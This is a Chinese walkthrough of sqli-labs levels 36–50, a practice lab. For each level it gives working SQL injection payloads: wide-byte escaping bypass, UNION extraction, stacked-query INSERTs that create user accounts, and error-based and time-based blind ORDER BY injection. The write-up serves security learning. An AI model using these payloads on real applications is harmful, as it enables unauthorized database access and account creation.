漏洞重温之sql注入(八)
漏洞重温之sql注入(八)
sqli-labs通关之旅
Less-36
首先,我们现在Url中给出id参数。我们可以根据这个来判断出该位置的注入为get型。接着我们看网站源码。
根据源码,我们可以看到,网页首先封装了一个函数,这个函数使用mysql_real_escape_string()来过滤我们的输入。
但是同时,根据sql语句上面的代码块,我们可以发现,网页采用了gbk编码,所以在这个地方,我们可以选择使用宽字节注入来绕过过滤。
构造payload:
1%df%27 and 1=2 union select 1,version(),database() --
第三十六关,通关。
Less-37
从网站页面,可以看出,该位置的注入属于post型,查看源码。
从代码上,我们可以看到,网站对我们输入的uname参数和passwd参数同样适用了mysql_real_escape_string函数进行转义,同样,在sql语句上面,提示我们这里使用了gbk编码。所以这一关跟36关的区别只是将get型注入转变成了post型。
payload:
1%df%27 and 1=2 union select version(),database() --
这里我们在uname位置注入和passwd位置注入效果一样。
第三十七关,通关。
Less-38
直接看源码
首先我们关注mysql_multi_query这个函数,该函数的功能是执行一个或多个针对数据库的查询,多个查询用分毫进行分隔。也就是说,这里可以使用堆叠注入,而只有网站使用了这个函数,才能进行堆叠注入。我们可以在参数后面加上分号,然后在分号后面加入注入的新语句。
但这里我们使用常规的方法进行注入即可。因为网站对我们的输入没有进行任何转义。
payload如下:
1' and 1=2 union select 1,version(),database() --
第三十八关,通关。
Less-39
查看网站源码。
跟上一关一样,也是堆叠注入,这里的参数没有任何符号包裹,所以我们可以直接在url中拼接sql语句,不需要闭合。
payload如下:
1 and 1=2 union select 1,version(),database()
第三十九关,通关。
Less-40
查看网站源码。
依然是堆叠注入,只是参数外面的包裹字符不同。
payload:
1') and 1=2 union select 1,version(),database() --
第四十关,通关。
Less-41
查看网站源码。
堆叠注入,无过滤,参数无包裹。
payload:
1 and 1=2 union select 1,version(),database() --
第四十一关,通关。
Less-42
熟悉的登录页面,但是在尝试过新建用户和找回密码全部不可用之后,明白这里不是二阶注入,查看源码。
可以看到,网页在登录的时候并没有对我们提交的参数进行过滤,同时因为在网页上并没有显示位,所以我们可以利用Insert语句来在数据库中新建一个用户。
payload如下:
1';insert into users values(50,'xiaoming','xiaoming') --
插入完成。
第四十二关,通关。
Less-43
四十三关也是一样的套路,只是包裹参数的符号从单引号变成了括号单引号。
payload如下:
1');insert into users values(60,'xm','xm') --
第四十三关,通关。
Less-44
四十四关,也是一样的解法。
payload如下:
1';insert into users values(77,'xb','xb') --
第四十四关,通关。
Less-45
套路一致。
payload:
1');insert into users values(87,'xiaohong','xiaohong') --
第四十五关,通关。
Less-46
首先,我们先在Url中添加上sort参数。
然后,查看源码。
这里,我们可以看到,这里的sql语句变成了。
$sql = "SELECT * FROM users ORDER BY %id";
而这里,我们可以利用order by 进行注入。
最常见的办法就是使用报错注入。
payload如下:
1 and updatexml(1,concat(0x7e,(database()),0x7e),1)
第四十六关,通关。
Less-47
查看源码。
套路一样,就是参数外面多了一个单引号包裹。
payload如下:
1' and updatexml(1,concat(0x7e,(database()),0x7e),1) --
第四十七关,通关。
Less-48
这一关的基本套路还是一致的,都是order by注入,但是因为这一关没有打印错误信息的代码,所以我们没办法通过报错注入来获取信息。
但是order by注入,也是可以使用时间盲注。
payload如下:
1 and if(length((database()))<1,1,sleep(0.3))
1 and if(length((database()))<10,1,sleep(0.3))
1 and if(substr((database()),1,1)='s',1,sleep(0.3))
1 and if(substr((database()),1,1)='a',1,sleep(0.3))
因为无法通过截图给你们展示效果,所以payload留下,可以自己尝试,我已经试过了。
第四十八关,通关。
Less-49
四十九关同样也是盲注,但是注意参数外面使用了单引号进行包裹,所以我们的payload里也需要使用单引号进行隔断。
payload如下:
1' and if(length((database()))<1,sleep(0.1),1) --
1' and if(length((database()))<10,sleep(0.1),1) --
第四十九关,通关。
Less-50
可以看到,第五十关是存在报错函数的,也就是说,在这里我们就可以使用报错注入来进行绕过了。
payload如下:
1 and updatexml(1,concat(0x7e,(database()),0x7e),1)
第五十关,通关。